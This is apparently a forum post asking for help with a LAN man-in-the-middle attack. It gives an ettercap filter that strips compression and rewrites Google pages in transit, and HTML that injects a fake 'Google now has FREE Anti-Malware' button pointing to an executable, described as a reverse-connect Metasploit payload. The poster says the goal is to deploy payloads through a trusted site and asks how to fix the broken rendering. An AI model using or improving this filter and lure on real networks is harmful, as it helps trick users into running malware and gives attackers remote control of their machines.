injection works but i needed to insert a new line into the code as this breaks other lines and drops the code off the page, i've tried placing the code into different parts but no matter what happens i dont get the results im after.
the inject is a button + text and provides a link to mspayload with a reverse connect, using a standard DATA.data search & replace via ettercap if i save the html from google and run the inject locally the inject works a treat.
injection :
<p><h10>Google now has FREE Anti-Malware</h10><form action="http://192.168.1.68/google-scan.exe" method="link"><INPUT TYPE=submit value="Click here"></form></p>
filter:
Code:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept.Nothing!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, ",pl:[]}};")) {
replace(",pl:[]}};",",pl:[]}\n }; My-New-Line \n");
msg(" IN ");
}}
the search data and the replace data
,pl:[]}\n }; My-New-Line \n
is not really a problem it more the understanding of how to reverse the page to confirm or rule out my guess that the code is self checking?
my first idea was that the 12 lines of code used the max char[255] and was causing the line breaks but, after injection of the new line i still get errors this is about the only thing i've use ettercap for and am assuming that the above is valid.
i have just rebuilt the filter for testing and changes the search and replace to start at </title>
and the resulting code for the site is on pastie.org
http://pastie.org/621565.js'
if you crtl+end to the last part you will see broken code
<a href="http://mail.google.com/mail/?hl=en&tab=wm" class=gb1
so the question is what are the limitations to ettercap?
ie. must the replacement be the same length....
does the code self check?
i just wondered if anyone else had tried lan based injection into TRUSTED site to deploy payloads.
or if someone can point me in the right direction for page / code analysis when such problems arise.